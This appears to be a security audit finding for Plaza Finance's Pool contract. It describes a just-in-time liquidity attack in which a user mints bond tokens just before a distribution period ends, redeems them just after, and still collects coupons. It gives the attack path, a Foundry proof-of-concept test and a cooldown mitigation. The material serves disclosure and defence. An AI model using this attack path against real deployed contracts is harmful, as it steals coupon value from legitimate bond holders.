Jovial Turquoise Scallop

High

# Users can add just-in-time liquidity to steal coupons

### Summary

Current protocol allows users to create bond tokens right before a distribution period ends, and then redeem reserve tokens right after next period starts, to still earn/still coupons for assets they had deposited.

### Root Cause

The issue stems from having no cooldown duration between bond token creation and redemption in [Pool.sol](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/Pool.sol#L383-L387)

### Internal Pre-conditions

- Current period is about to end.
- Collateral level stays above 1.2 so that bond price is always 100 USD, for creation and redemption.

### External Pre-conditions

The attacker creates bond tokens with just-in-time liquidity.

### Attack Path

- Current period is about to end.
- An attacker creates bonds, e.g 100 BondToken
- Current period has ended, and a new period is started by starting an auction.
- The attacker then redeems reserve token by burning 100 BondTokens.
- After the auction ends, the attacker claim his coupon tokens from `Distributor` contract.

### Impact

The attacker steals tokens from the pool, and the loss is distributed to bond holders by downgrading collateral level.

### PoC

Here's a test case written using Foundry that demonstrates the ability to steal coupons using just-in-time liquidity. This can be tested as a part of `Pool.t.sol`.

```solidity
  function testAuditJustInTimeLiquidity() public {
    Token rToken = Token(params.reserveToken);
    Token usdc = Token(params.couponToken);

    vm.startPrank(governance);
  
    // Mint reserve tokens
    rToken.mint(governance, 1e18); // 1 ETH = 3000 USDC
    rToken.approve(address(poolFactory), 1e18);

    // Create pool and approve deposit amount
    params.sharesPerToken = 5 * 1e6; // 5 USDC coupon per 1 BondToken
    Pool _pool = Pool(poolFactory.createPool(params, 1e18, 10e18, 100e18, "", "", "", "", false)); // collateralLevel = 3 > 1.2, 1 BondToken = 100 USDC
    
    // 90 days distribution period and 10 days auction period
    _pool.setDistributionPeriod(90 days);
    _pool.setAuctionPeriod(10 days);

    vm.stopPrank();

    // User2, a JIT depositor mints BOND
    vm.warp(block.timestamp + 90 days - 1);
    mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));

    vm.prank(governance);
    rToken.mint(user2, 1e18);

    vm.startPrank(user2);
    rToken.approve(address(_pool), 1e18);
    _pool.create(Pool.TokenType.BOND, 1e18, 30e18); // Creates 30 BondToken
    vm.stopPrank();

    // Time passes by after distribution period, and auction starts
    vm.warp(block.timestamp + 2);
    _pool.startAuction();

    // User2 redeems his token
    vm.prank(user2);
    _pool.redeem(Pool.TokenType.BOND, 30e18, 1e18); // Redeem 30 BondToken, in exchange for 1 ETH

    // The auction is processed
    Auction auction = Auction(_pool.auctions(0));

    vm.startPrank(user);
    usdc.mint(user, 5000e18);
    usdc.approve(address(auction), type(uint256).max);
    auction.bid(1e4, auction.totalBuyCouponAmount());
    vm.stopPrank();

    // End auction and distribute coupon
    vm.warp(block.timestamp + 10 days);
    auction.endAuction();
    _pool.distribute();

    Distributor distributor = Distributor(poolFactory.distributors(address(_pool)));

    // User2 claims coupon token from Distributor contract
    vm.prank(user2);
    distributor.claim();

    vm.assertEq(usdc.balanceOf(user2), 150e18);
  }
```

### Mitigation

Cooldown mechanism has to be implemented so that token redemption could be processed after distribution period since bond creation.